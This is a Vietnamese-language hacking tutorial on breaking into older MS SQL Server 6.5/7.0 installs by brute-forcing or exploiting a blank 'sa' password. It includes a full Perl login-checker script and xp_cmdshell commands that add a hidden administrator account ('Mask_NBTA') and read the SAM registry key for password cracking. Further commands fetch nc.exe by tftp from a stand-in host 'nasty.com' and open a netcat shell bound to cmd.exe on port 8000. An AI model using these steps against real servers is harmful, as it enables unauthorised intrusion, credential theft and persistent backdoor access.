Tấn Công Ms Sql Server, (cách cổ điển)
trang này đã được đọc lầnGiới thiệu :
hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần là dùng kĩ
thuật SQL injection , đây là kĩ thuật hack phải nói là hay nhất , hiệu quả cao
và nhanh chóng nhất , tuy nhiên trong bài này tôi sẽ đề cập đến 1 cách khác để
hack vào MS SQL Server , cách này tuy xác suất thành công không cao bằng SQl
injection nhưng cũng đáng để quan tâm bởi vì đâu phải lúc nào chúng ta cũng
tìm thấy lỗi SQl injection .
Cách này của chúng ta tạm gọi là "TRSQL" vì đa phần là nhờ may mắn , nhưng chả
hiểu sao hồi trước tới giờ tôi thấy cái may mắn này lại hay xảy ra .
Công cụ đầu tiên chúng ta cần là sqlbf (SQL Brute Force ) cái này cứ vào
packetstorm mà tìm .
Và cái tool connect vào MS SQL Server :
http://www.hvaonline.net/exploite/SqlExec.exe
Chúng ta bắt đầu :
Hầu hết MS SQL Server đầu chạy trên TCP port 1433 , còn nếu chạy trên port
khác thì mình dùng công cụ scan là cũng ra ngay thôi . Cái MS SQL server mà
chúng ta bàn luận ở đây hơi cũ chút là : SQL 6.5 & 7.0 . Tuy cũ nhưng tôi vẫn
viết ra ở đây mục đích là học hỏi kinh nghiêm chứ không phải mục đích là tìm
mục tiêu để hack phá phách . Download sqlbt về xong thì run nó , rất dễ dùng ,
công việc của nó là kiếm password cho chúng ta login . Nhược điểm của MS SQL
server thứ nhất là mặc định system administrator là "sa" , do đó chúng ta
không cần phải brute cái username mà chỉ cần brute force cái password là đủ ,
thứ 2 là default password của sa là "không có gì hết" , cái này mới chết người
, ai cũng quan niệm là "chỗ nguy hiểm nhất chính là chỗ an toàn nhất" , bởi
vậy password là "không có gì hết" thì đố ai ngờ được , sai lầm chết người của
nhiều người quản trị mạng ở chỗ đó , vì chúng ta có sqlbf tool nên ai có suy
nghĩ đó là chết liền .
Sẵn đây tôi cũng giới thiệu với các bạn cái tool scan server có password là
"không có gì hết" :
save lại nội dung code sau thành file senseql.pl , và run :
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
• scans for hosts with blank passwords
• Brute Forces login attempts.
#!/usr/bin/perl
## SQL username/password checker
## Parameters: senseql <IP> <username> <password>
## Eg. to check for blank SA:
## senseql 10.0.0.1 sa ""
## Roelof Temmingh / Haroon Meer
## roelof@sensepost.com / haroon@sensepost.com
## SensePost IT Security
## http://www.sensepost.com/ http://www.hackrack.com/
## 2001/11/09
use IO::Socket;
$|=1;
if ($#ARGV<2) {die "Usage: senseql IP username password\n";}
$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];
$unh=pack("a30",$username);$psh=pack("a30",$pass);
$numu=pack("c",length($username)); $nump=pack("c",length($pass));
$FRONT="0200020000000200000000000000000000000000000000000000000000000000000
00000000000";
$REST="30303030303061300000000000000000000000000000000000201881b82c08030106
0a090101000000000000000000737175656c646120312e30000000000000000000000000000
000000000000b00000000000000000000000000000000000000000000000000000000000000
00";
$REST2="0000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000040200004d5344424c49420000000706000000000d110000000000000000000000000
00000000000000000000000";
$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2)
;
$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;
$SENDY2="020100470000020000000000000000010000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000003030300000000300000
0";
$SENDY2 = pack("H*",$SENDY2);
print "$host:$username:$pass:";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>
$port) || die "No SQL here man...";
print $remote $FULL; print $remote $SENDY2;
recv($remote,$back,100,MSG_PEEK);
if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}
else {print "No dude..\n";}
close ($remote);
Lets move on… at least to admins who have had the sense to change the admin
password
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Giả sử như sqlbt tìm ra password của sa và login vào với username "sa" , chúng
ta phải làm gì đây để nắm hoàn toàn hệt thống ?
Giờ đây chúng ta có thể dùng Stores Procedures , đặc biệt là xp_cmdshell , vấn
đề bi giờ giống như là chúng ta hack bằng SQL injection mà có quyền "sa" vậy .
Sẵn đây tôi sẽ giới thiệu cho các bạn biết sơ về các Extended Stores
Procedures cần thiết và chức năng của nó :
xp_regread - reads a registry value
xp_rewrite - writes to the registry
xp_regdeletekey - deletes a key
xp_regdeletevalue - deletes a key's value
xp_regenumvalues - lists names of value entries
xp_regaddmultistring - adds a multistring (zero-delimited string)
xp_regremovemultistring - removes a multi string (zero delimited string)
Nhiệm vụ chính của chúng ta hiện giờ là , add ADMIN , đổ SAM và UPLOAD
Backdoor .
Thêm tài khoản vào Administrators Group : (
username : Mask_NBTA , password : hacked )
Xp_cmdshell 'net user Mask_NBTA hacked /ADD'
Xp_cmdshell 'net localgroup /ADD Administrators Mask_NBTA'
Đổ SAM :
Có quyền admin thì đọc file SAM và Crack bằng L0pth Crack 4.0 : ( máy tôi
pentium 4 1.7 Ghz crack 2 user mất khoảng 7h )
Xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account ','F'
Tại sao thông qua "sa" ta có thể làm nhiều việc như vậy , tại vì mặc định SQL
Server chạy với quyền "local system"
UPLOAD Backdoor :
Các bạn có thể dùng backdoor gì tuỳ thích , ở đây tôi dùng netcat ( xưa giờ
vẫn ko thấy con nào hay hơn con này ) :
xp_cmdshell 'tftp –I nasty.com GET nc.exe c:\nc.exe'
và thi hành nó bằng cách :
xp_cmdshell 'c:\nc.exe –l –p 8000 –e cmd.exe'
Sau đó vào DOS , telnet vào server ở PORT 8000
Xong , với 3 công việc này bạn đã biết phải làm gì khi có được "sa" ở MS SQL
Server .
Àh , nếu bạn nào vô tình bằng cách gì đó có được password HASH của "sa" thì
tôi xin giới thiệu 1 cách để crack password này rất hiệu quả .
Hướng dẫn cặn kẽ và có tool sãn ở đây : http://www.ngssoftware.com/ tìm file
cracking-sql-passwords.pdf